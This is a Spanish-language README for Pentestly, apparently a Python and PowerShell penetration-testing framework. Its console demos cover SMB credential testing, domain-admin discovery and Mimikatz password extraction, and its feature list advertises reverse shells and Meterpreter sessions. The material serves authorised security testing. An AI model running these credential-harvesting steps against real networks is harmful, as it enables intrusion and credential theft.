Pentestly

Pentestly es una combinación de herramientas Python en expansión para su uso en pruebas de penetración. El objetivo es utilizar una interfaz de usuario familiar mientras se facilita la contribución al framework con el poder de Python.

Entrada de blog: Pentestly Framework: When Pentesting Meets Python and Powershell

Autor: @ctfhacker / Cory Duplantis

Demo

asciicast

Características actuales

• Importar XML de NMAP
• Probar autenticación SMB usando:
  • credenciales individuales
  • archivo con credenciales
  • credenciales nulas
  • hash NTLM
• Probar privilegios de administrador local para autenticación SBM exitosa
• Identificar recursos compartidos SMB legibles para credenciales válidas
• Almacenar nombres de cuentas de administrador de dominio/empresa
• Determinar ubicación de procesos de administrador de dominio en ejecución
• Determinar sistemas donde hay administradores de dominio conectados
• Ejecutar comandos de Powershell en memoria y extraer resultados
• Ejecutar Mimikatz para obtener contraseñas en texto plano desde la memoria (Invoke-Mimikatz.ps1)
• Recibir un shell de comandos (Powercat)
• Recibir una sesión de meterpreter (Invoke-Shellcode.ps1)

Hombros de Gigantes

Pentestly se apoya en los hombros de gigantes. A continuación se presentan las herramientas actuales utilizadas en Pentestly:

• recon-ng - La base de datos backend de recon-ng está magníficamente construida y se aprovecha en Pentestly para la manipulación de datos

• wmiexec.py - Nos permite ejecutar comandos de Powershell rápida y fácilmente a través de WMI

• smbmap.py - Utilidad útil para enumerar recursos compartidos SMB

• Invoke-Mimikatz.ps1 - Implementación de Mimikatz en Powershell

• powercat.ps1 - Funcionalidad similar a Netcat en Powershell

• Invoke-Shellcode.ps1 - Desplegar Meterpreter en Powershell

• CrackMapExec - Fuente de inspiración para el simple servidor Mimikatz en Pentestly

Instalación

git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly

Uso

Repasemos varias funciones actualmente implementadas.

Cambiar espacio de trabajo

[pentestly][default] > workspaces list

  +------------+
  | Workspaces |
  +------------+
  | default    |
  +------------+

[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project

Cargar desde nmap

[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options

  Name      Current Value                      Required  Description
  --------  -------------                      --------  -----------
  FILENAME  /root/PROJECT/full-all-alive.xml  yes       Path and filename for nmap XML input

[pentestly][project][nmap_xml] > run

Probar inicios de sesión

Usar archivo con credenciales para probar inicio de sesión

[pentestly][project][login] > cat /tmp/creds
[*] Command: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run

Usar nombre de usuario y contraseña único

[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run

Usar credenciales sobre un subconjunto pequeño de IPs es decir, sobre la red 192.168.8.0/24 encontrada en la tabla

[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'

Recopilar administradores de dominio y empresa

[pentestly][project][login] > load get_domain # Notice fuzzy searching - get_domain finds get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options

  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  default        yes       source of input (see 'show info' for details)

[pentestly][project][get_domain_admin_names] > run
[*] Found Domain Admin: domain\admin1
[*] Found Domain Admin: domain\admin2

Ejecutar mimikatz sobre IPs con derechos ejecutables

[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
Select local interface for hosting scripts

0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1

[*] Execution creds: domain\Admin:[email protected]
[*] Success! Admin.DA:p@$$w0rd  - DOMAIN ADMIN!

Mostrar administradores locales

[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run

+---------------------------------------------------------------------------------------------------------------+
|      host      | access |  username  |  password  | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 |        | nsportsman | password1! | zojix  |         |           | True    | True    | login  |
+---------------------------------------------------------------------------------------------------------------+

Mostrar administradores de dominio

[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run

+--------------------------------------------------------------------------------------------------------------------------+
|      host      | access        | username  |  password       | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin  | TheRealDA | </l33TPassword> | zojix  |         |           | True    | True    | login  |
+--------------------------------------------------------------------------------------------------------------------------+

Enumshares

[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] Execution creds: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})

Mostrar nuevos recursos compartidos

[pentestly][default][interesting_files] > show pentestly_shares